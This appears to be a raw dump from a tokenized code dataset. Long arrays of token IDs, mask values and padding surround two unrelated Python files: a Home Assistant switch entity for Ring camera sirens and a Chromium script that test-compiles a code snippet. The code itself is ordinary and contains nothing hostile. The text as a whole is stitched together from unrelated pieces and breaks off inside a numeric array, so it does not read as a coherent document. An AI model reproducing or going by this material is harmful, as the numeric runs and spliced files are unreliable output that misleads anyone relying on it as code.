893, 26, 272, 492, 6055, 14, 31603, 272, 687, 6055, 14, 1971, 492, 24411, 17692, 12, 3091, 21547, 3601, 272, 7509, 63, 21373, 275, 715, 199, 199, 2590, 3545, 26, 272, 7509, 63, 21373, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 2622, 13226, 547, 12, 4907, 63, 475, 63, 7231, 12, 7062, 18, 63, 2094, 63, 1650, 12, 664, 63, 7231, 63, 2105, 63, 815, 421, 199, 318, 1218, 63, 269, 63, 873, 63, 31603, 63, 1825, 8, 2105, 12, 859, 304, 272, 4126, 63, 354, 275, 859, 14, 1162, 14, 362, 360, 354, 358, 339, 4126, 63, 2987, 275, 1211, 8, 267, 849, 63, 11269, 63, 2593, 29, 578, 14, 1162, 14, 362, 360, 885, 63, 11269, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
w1ll1am23/home-assistant
homeassistant/components/ring/switch.py
21
3209
"""This component provides HA switch support for Ring Door Bell/Chimes.""" from datetime import timedelta import logging import requests from homeassistant.components.switch import SwitchEntity from homeassistant.core import callback import homeassistant.util.dt as dt_util from . import DOMAIN from .entity import RingEntityMixin _LOGGER = logging.getLogger(__name__) SIREN_ICON = "mdi:alarm-bell" # It takes a few seconds for the API to correctly return an update indicating # that the changes have been made. Once we request a change (i.e. a light # being turned on) we simply wait for this time delta before we allow # updates to take place. SKIP_UPDATES_DELAY = timedelta(seconds=5) async def async_setup_entry(hass, config_entry, async_add_entities): """Create the switches for the Ring devices.""" devices = hass.data[DOMAIN][config_entry.entry_id]["devices"] switches = [] for device in devices["stickup_cams"]: if device.has_capability("siren"): switches.append(SirenSwitch(config_entry.entry_id, device)) async_add_entities(switches) class BaseRingSwitch(RingEntityMixin, SwitchEntity): """Represents a switch for controlling an aspect of a ring device.""" def __init__(self, config_entry_id, device, device_type): """Initialize the switch.""" super().__init__(config_entry_id, device) self._device_type = device_type self._unique_id = f"{self._device.id}-{self._device_type}" @property def name(self): """Name of the device.""" return f"{self._device.name} {self._device_type}" @property def unique_id(self): """Return a unique ID.""" return self._unique_id class SirenSwitch(BaseRingSwitch): """Creates a switch to turn the ring cameras siren on and off.""" def __init__(self, config_entry_id, device): """Initialize the switch for a device with a siren.""" super().__init__(config_entry_id, device, "siren") self._no_updates_until = dt_util.utcnow() self._siren_on = device.siren > 0 @callback def _update_callback(self): """Call update method.""" if self._no_updates_until > dt_util.utcnow(): return self._siren_on = self._device.siren > 0 self.async_write_ha_state() def _set_switch(self, new_state): """Update switch state, and causes Home Assistant to correctly update.""" try: self._device.siren = new_state except requests.Timeout: _LOGGER.error("Time out setting %s siren to %s", self.entity_id, new_state) return self._siren_on = new_state > 0 self._no_updates_until = dt_util.utcnow() + SKIP_UPDATES_DELAY self.schedule_update_ha_state() @property def is_on(self): """If the switch is currently on or off.""" return self._siren_on def turn_on(self, **kwargs): """Turn the siren on for 30 seconds.""" self._set_switch(1) def turn_off(self, **kwargs): """Turn the siren off.""" self._set_switch(0) @property def icon(self): """Return the icon.""" return SIREN_ICON
apache-2.0
[ 624, 2765, 3931, 6571, 16100, 6258, 2291, 367, 820, 316, 4226, 269, 699, 1697, 15, 1049, 29778, 1041, 199, 504, 2197, 492, 6871, 199, 646, 2050, 199, 199, 646, 4145, 199, 199, 504, 8846, 14, 4608, 14, 5656, 492, 17711, 7302, 199, 504, 8846, 14, 1018, 492, 3233, 199, 646, 8846, 14, 1974, 14, 3583, 465, 4487, 63, 1974, 199, 199, 504, 1275, 492, 15265, 199, 504, 1275, 4502, 492, 820, 316, 7302, 4256, 199, 199, 63, 10186, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 2684, 50, 742, 63, 15903, 275, 298, 20208, 26, 14160, 13, 30930, 2, 421, 199, 3, 2779, 6181, 282, 9284, 4696, 367, 314, 3261, 370, 6657, 372, 376, 1678, 9297, 199, 3, 626, 314, 4493, 1172, 2757, 6326, 14, 19468, 781, 1056, 282, 1570, 334, 73, 14, 69, 14, 282, 10540, 199, 3, 3769, 19136, 641, 9, 781, 9329, 3618, 367, 642, 900, 5762, 2544, 781, 2040, 199, 3, 7029, 370, 5452, 4192, 14, 199, 199, 13525, 63, 23612, 654, 63, 18616, 275, 6871, 8, 4515, 29, 21, 9, 421, 199, 4146, 347, 5316, 63, 2758, 63, 2373, 8, 5387, 12, 1101, 63, 2373, 12, 5316, 63, 525, 63, 8327, 304, 272, 408, 2499, 314, 24563, 367, 314, 820, 316, 7256, 1041, 272, 7256, 275, 6298, 14, 576, 59, 7378, 1527, 888, 63, 2373, 14, 2373, 63, 344, 7541, 6410, 937, 272, 24563, 275, 942, 339, 367, 2243, 315, 7256, 905, 18043, 384, 63, 15176, 83, 6229, 267, 340, 2243, 14, 1989, 63, 21181, 480, 338, 828, 2349, 288, 24563, 14, 740, 8, 18934, 828, 10167, 8, 888, 63, 2373, 14, 2373, 63, 344, 12, 2243, 430, 339, 5316, 63, 525, 63, 8327, 8, 32332, 9, 421, 199, 533, 3523, 15420, 10167, 8, 15420, 7302, 4256, 12, 17711, 7302, 304, 272, 408, 18089, 282, 6258, 367, 30350, 376, 17435, 402, 282, 12133, 2243, 1041, 339, 347, 636, 826, 721, 277, 12, 1101, 63, 2373, 63, 344, 12, 2243, 12, 2243, 63, 466, 304, 267, 408, 9345, 314, 6258, 1041, 267, 1613, 11027, 826, 721, 888, 63, 2373, 63, 344, 12, 2243, 9, 267, 291, 423, 1782, 63, 466, 275, 2243, 63, 466, 267, 291, 423, 3235, 63, 344, 275, 289, 14381, 277, 423, 1782, 14, 344, 30289, 277, 423, 1782, 63, 466, 7063, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 985, 402, 314, 2243, 1041, 267, 372, 289, 14381, 277, 423, 1782, 14, 354, 93, 469, 277, 423, 1782, 63, 466, 7063, 339, 768, 1829, 272, 347, 3747, 63, 344, 8, 277, 304, 267, 408, 1767, 282, 3747, 2870, 1041, 267, 372, 291, 423, 3235, 63, 344, 421, 199, 533, 428, 73, 828, 10167, 8, 1563, 15420, 10167, 304, 272, 408, 10607, 282, 6258, 370, 7485, 314, 12133, 20382, 6360, 13877, 828, 641, 436, 2331, 1041, 339, 347, 636, 826, 721, 277, 12, 1101, 63, 2373, 63, 344, 12, 2243, 304, 267, 408, 9345, 314, 6258, 367, 282, 2243, 543, 282, 13877, 828, 1041, 267, 1613, 11027, 826, 721, 888, 63, 2373, 63, 344, 12, 2243, 12, 298, 338, 828, 531, 267, 291, 423, 889, 63, 7618, 63, 8111, 275, 4487, 63, 1974, 14, 10779, 342, 267, 291, 423, 338, 828, 63, 265, 275, 2243, 14, 338, 828, 690, 378, 339, 768, 3058, 272, 347, 485, 873, 63, 3058, 8, 277, 304, 267, 408, 2176, 1678, 1083, 1041, 267, 340, 291, 423, 889, 63, 7618, 63, 8111, 690, 4487, 63, 1974, 14, 10779, 837, 288, 372, 398, 291, 423, 338, 828, 63, 265, 275, 291, 423, 1782, 14, 338, 828, 690, 378, 267, 291, 14, 4146, 63, 952, 63, 2411, 63, 929, 342, 339, 347, 485, 409, 63, 5656, 8, 277, 12, 892, 63, 929, 304, 267, 408, 4152, 6258, 1174, 12, 436, 14486, 14621, 3709, 18832, 370, 6657, 1678, 1041, 267, 862, 26, 288, 291, 423, 1782, 14, 338, 828, 275, 892, 63, 929, 267, 871, 4145, 14, 6372, 26, 288, 485, 10186, 14, 705, 480, 1366, 734, 4260, 450, 83, 13877, 828, 370, 450, 83, 401, 291, 14, 4502, 63, 344, 12, 892, 63, 929, 9, 288, 372, 398, 291, 423, 338, 828, 63, 265, 275, 892, 63, 929, 690, 378, 267, 291, 423, 889, 63, 7618, 63, 8111, 275, 4487, 63, 1974, 14, 10779, 342, 435, 27885, 63, 23612, 654, 63, 18616, 267, 291, 14, 7211, 63, 873, 63, 2411, 63, 929, 342, 339, 768, 1829, 272, 347, 365, 63, 265, 8, 277, 304, 267, 408, 3917, 314, 6258, 365, 5544, 641, 503, 2331, 1041, 267, 372, 291, 423, 338, 828, 63, 265, 339, 347, 7485, 63, 265, 8, 277, 12, 1011, 958, 304, 267, 408, 16838, 314, 13877, 828, 641, 367, 4233, 4696, 1041, 267, 291, 423, 409, 63, 5656, 8, 17, 9, 339, 347, 7485, 63, 1997, 8, 277, 12, 1011, 958, 304, 267, 408, 16838, 314, 13877, 828, 2331, 1041, 267, 291, 423, 409, 63, 5656, 8, 16, 9, 339, 768, 1829, 272, 347, 7016, 8, 277, 304, 267, 408, 1767, 314, 7016, 1041, 267, 372, 428, 3927, 742, 63, 15903, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2765, 3931, 6571, 16100, 6258, 2291, 367, 820, 316, 4226, 269, 699, 1697, 15, 1049, 29778, 1041, 199, 504, 2197, 492, 6871, 199, 646, 2050, 199, 199, 646, 4145, 199, 199, 504, 8846, 14, 4608, 14, 5656, 492, 17711, 7302, 199, 504, 8846, 14, 1018, 492, 3233, 199, 646, 8846, 14, 1974, 14, 3583, 465, 4487, 63, 1974, 199, 199, 504, 1275, 492, 15265, 199, 504, 1275, 4502, 492, 820, 316, 7302, 4256, 199, 199, 63, 10186, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 2684, 50, 742, 63, 15903, 275, 298, 20208, 26, 14160, 13, 30930, 2, 421, 199, 3, 2779, 6181, 282, 9284, 4696, 367, 314, 3261, 370, 6657, 372, 376, 1678, 9297, 199, 3, 626, 314, 4493, 1172, 2757, 6326, 14, 19468, 781, 1056, 282, 1570, 334, 73, 14, 69, 14, 282, 10540, 199, 3, 3769, 19136, 641, 9, 781, 9329, 3618, 367, 642, 900, 5762, 2544, 781, 2040, 199, 3, 7029, 370, 5452, 4192, 14, 199, 199, 13525, 63, 23612, 654, 63, 18616, 275, 6871, 8, 4515, 29, 21, 9, 421, 199, 4146, 347, 5316, 63, 2758, 63, 2373, 8, 5387, 12, 1101, 63, 2373, 12, 5316, 63, 525, 63, 8327, 304, 272, 408, 2499, 314, 24563, 367, 314, 820, 316, 7256, 1041, 272, 7256, 275, 6298, 14, 576, 59, 7378, 1527, 888, 63, 2373, 14, 2373, 63, 344, 7541, 6410, 937, 272, 24563, 275, 942, 339, 367, 2243, 315, 7256, 905, 18043, 384, 63, 15176, 83, 6229, 267, 340, 2243, 14, 1989, 63, 21181, 480, 338, 828, 2349, 288, 24563, 14, 740, 8, 18934, 828, 10167, 8, 888, 63, 2373, 14, 2373, 63, 344, 12, 2243, 430, 339, 5316, 63, 525, 63, 8327, 8, 32332, 9, 421, 199, 533, 3523, 15420, 10167, 8, 15420, 7302, 4256, 12, 17711, 7302, 304, 272, 408, 18089, 282, 6258, 367, 30350, 376, 17435, 402, 282, 12133, 2243, 1041, 339, 347, 636, 826, 721, 277, 12, 1101, 63, 2373, 63, 344, 12, 2243, 12, 2243, 63, 466, 304, 267, 408, 9345, 314, 6258, 1041, 267, 1613, 11027, 826, 721, 888, 63, 2373, 63, 344, 12, 2243, 9, 267, 291, 423, 1782, 63, 466, 275, 2243, 63, 466, 267, 291, 423, 3235, 63, 344, 275, 289, 14381, 277, 423, 1782, 14, 344, 30289, 277, 423, 1782, 63, 466, 7063, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 985, 402, 314, 2243, 1041, 267, 372, 289, 14381, 277, 423, 1782, 14, 354, 93, 469, 277, 423, 1782, 63, 466, 7063, 339, 768, 1829, 272, 347, 3747, 63, 344, 8, 277, 304, 267, 408, 1767, 282, 3747, 2870, 1041, 267, 372, 291, 423, 3235, 63, 344, 421, 199, 533, 428, 73, 828, 10167, 8, 1563, 15420, 10167, 304, 272, 408, 10607, 282, 6258, 370, 7485, 314, 12133, 20382, 6360, 13877, 828, 641, 436, 2331, 1041, 339, 347, 636, 826, 721, 277, 12, 1101, 63, 2373, 63, 344, 12, 2243, 304, 267, 408, 9345, 314, 6258, 367, 282, 2243, 543, 282, 13877, 828, 1041, 267, 1613, 11027, 826, 721, 888, 63, 2373, 63, 344, 12, 2243, 12, 298, 338, 828, 531, 267, 291, 423, 889, 63, 7618, 63, 8111, 275, 4487, 63, 1974, 14, 10779, 342, 267, 291, 423, 338, 828, 63, 265, 275, 2243, 14, 338, 828, 690, 378, 339, 768, 3058, 272, 347, 485, 873, 63, 3058, 8, 277, 304, 267, 408, 2176, 1678, 1083, 1041, 267, 340, 291, 423, 889, 63, 7618, 63, 8111, 690, 4487, 63, 1974, 14, 10779, 837, 288, 372, 398, 291, 423, 338, 828, 63, 265, 275, 291, 423, 1782, 14, 338, 828, 690, 378, 267, 291, 14, 4146, 63, 952, 63, 2411, 63, 929, 342, 339, 347, 485, 409, 63, 5656, 8, 277, 12, 892, 63, 929, 304, 267, 408, 4152, 6258, 1174, 12, 436, 14486, 14621, 3709, 18832, 370, 6657, 1678, 1041, 267, 862, 26, 288, 291, 423, 1782, 14, 338, 828, 275, 892, 63, 929, 267, 871, 4145, 14, 6372, 26, 288, 485, 10186, 14, 705, 480, 1366, 734, 4260, 450, 83, 13877, 828, 370, 450, 83, 401, 291, 14, 4502, 63, 344, 12, 892, 63, 929, 9, 288, 372, 398, 291, 423, 338, 828, 63, 265, 275, 892, 63, 929, 690, 378, 267, 291, 423, 889, 63, 7618, 63, 8111, 275, 4487, 63, 1974, 14, 10779, 342, 435, 27885, 63, 23612, 654, 63, 18616, 267, 291, 14, 7211, 63, 873, 63, 2411, 63, 929, 342, 339, 768, 1829, 272, 347, 365, 63, 265, 8, 277, 304, 267, 408, 3917, 314, 6258, 365, 5544, 641, 503, 2331, 1041, 267, 372, 291, 423, 338, 828, 63, 265, 339, 347, 7485, 63, 265, 8, 277, 12, 1011, 958, 304, 267, 408, 16838, 314, 13877, 828, 641, 367, 4233, 4696, 1041, 267, 291, 423, 409, 63, 5656, 8, 17, 9, 339, 347, 7485, 63, 1997, 8, 277, 12, 1011, 958, 304, 267, 408, 16838, 314, 13877, 828, 2331, 1041, 267, 291, 423, 409, 63, 5656, 8, 16, 9, 339, 768, 1829, 272, 347, 7016, 8, 277, 304, 267, 408, 1767, 314, 7016, 1041, 267, 372, 428, 3927, 742, 63, 15903, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
DARKPOP/external_chromium_org
tools/compile_test/compile_test.py
159
1781
#!/usr/bin/env python # Copyright (c) 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """ Tries to compile given code, produces different output depending on success. This is similar to checks done by ./configure scripts. """ import optparse import os import shutil import subprocess import sys import tempfile def DoMain(argv): parser = optparse.OptionParser() parser.add_option('--code') parser.add_option('--run-linker', action='store_true') parser.add_option('--on-success', default='') parser.add_option('--on-failure', default='') options, args = parser.parse_args(argv) if not options.code: parser.error('Missing required --code switch.') # The environment variable might expand to a string with spaces, # e.g. "ccache g++". Convert it to a list suitable for argv. cxx = os.environ.get('CXX', 'g++').split() tmpdir = tempfile.mkdtemp() try: cxx_path = os.path.join(tmpdir, 'test.cc') with open(cxx_path, 'w') as f: f.write(options.code.decode('string-escape')) o_path = os.path.join(tmpdir, 'test.o') cxx_cmdline = cxx + [cxx_path, '-o', o_path] if not options.run_linker: cxx_cmdline.append('-c') # Pass remaining arguments to the compiler. cxx_cmdline += args cxx_popen = subprocess.Popen(cxx_cmdline, stdout=subprocess.PIPE, stderr=subprocess.PIPE) cxx_stdout, cxx_stderr = cxx_popen.communicate() if cxx_popen.returncode == 0: print options.on_success else: print options.on_failure finally: shutil.rmtree(tmpdir) return 0 if __name__ == '__main__': sys.exit(DoMain(sys.argv[1:]))
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 199, 52, 1996, 370, 6555, 1627, 1233, 12, 16904, 3365, 1072, 10298, 641, 3182, 14, 199, 199, 2765, 365, 8545, 370, 5920, 4224, 701, 16605, 6472, 10554, 14, 199, 624, 421, 199, 646, 8691, 199, 646, 747, 199, 646, 5145, 199, 646, 3873, 199, 646, 984, 199, 646, 5549, 421, 199, 318, 4226, 6756, 8, 3020, 304, 523, 1798, 275, 8691, 14, 14553, 342, 523, 1798, 14, 525, 63, 1422, 4517, 600, 358, 523, 1798, 14, 525, 63, 1422, 4517, 1065, 13, 20311, 297, 1595, 534, 1617, 63, 2052, 358, 523, 1798, 14, 525, 63, 1422, 4517, 265, 13, 3742, 297, 849, 13275, 523, 1798, 14, 525, 63, 1422, 4517, 265, 13, 5328, 297, 849, 13275, 819, 1511, 12, 1249, 275, 1798, 14, 1122, 63, 589, 8, 3020, 9, 819, 340, 440, 1511, 14, 600, 26, 272, 1798, 14, 705, 360, 7718, 1415, 1553, 600, 6258, 2659, 819, 327, 710, 3734, 1750, 5594, 6544, 370, 282, 1059, 543, 7883, 12, 523, 327, 325, 14, 71, 14, 298, 67, 1637, 486, 4176, 1674, 7905, 652, 370, 282, 769, 11233, 367, 9238, 14, 523, 17327, 275, 747, 14, 2314, 14, 362, 360, 12206, 297, 283, 71, 4176, 1959, 1294, 342, 819, 12885, 275, 5549, 14, 11983, 342, 523, 862, 26, 272, 17327, 63, 515, 275, 747, 14, 515, 14, 904, 8, 8616, 12, 283, 396, 14, 2055, 358, 272, 543, 1551, 8, 9634, 63, 515, 12, 283, 87, 358, 465, 289, 26, 489, 289, 14, 952, 8, 1419, 14, 600, 14, 2708, 360, 875, 13, 3765, 1333, 339, 312, 63, 515, 275, 747, 14, 515, 14, 904, 8, 8616, 12, 283, 396, 14, 79, 358, 339, 17327, 63, 15612, 275, 17327, 435, 359, 9634, 63, 515, 12, 2475, 79, 297, 312, 63, 515, 61, 272, 340, 440, 1511, 14, 1065, 63, 20311, 26, 489, 17327, 63, 15612, 14, 740, 3654, 67, 358, 272, 327, 8325, 7971, 2368, 370, 314, 6365, 14, 272, 17327, 63, 15612, 847, 1249, 272, 17327, 63, 12207, 275, 3873, 14, 7942, 8, 9634, 63, 15612, 12, 639, 3839, 29, 5781, 14, 6089, 12, 639, 4635, 29, 5781, 14, 6089, 9, 272, 17327, 63, 2703, 12, 17327, 63, 3083, 275, 17327, 63, 12207, 14, 10664, 342, 272, 340, 17327, 63, 12207, 14, 9913, 508, 378, 26, 489, 870, 1511, 14, 265, 63, 3742, 272, 587, 26, 489, 870, 1511, 14, 265, 63, 5328, 523, 3753, 26, 272, 5145, 14, 9242, 8, 8616, 9, 819, 372, 378, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 984, 14, 2224, 8, 2585, 6756, 8, 1274, 14, 3020, 59, 17, 16720, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 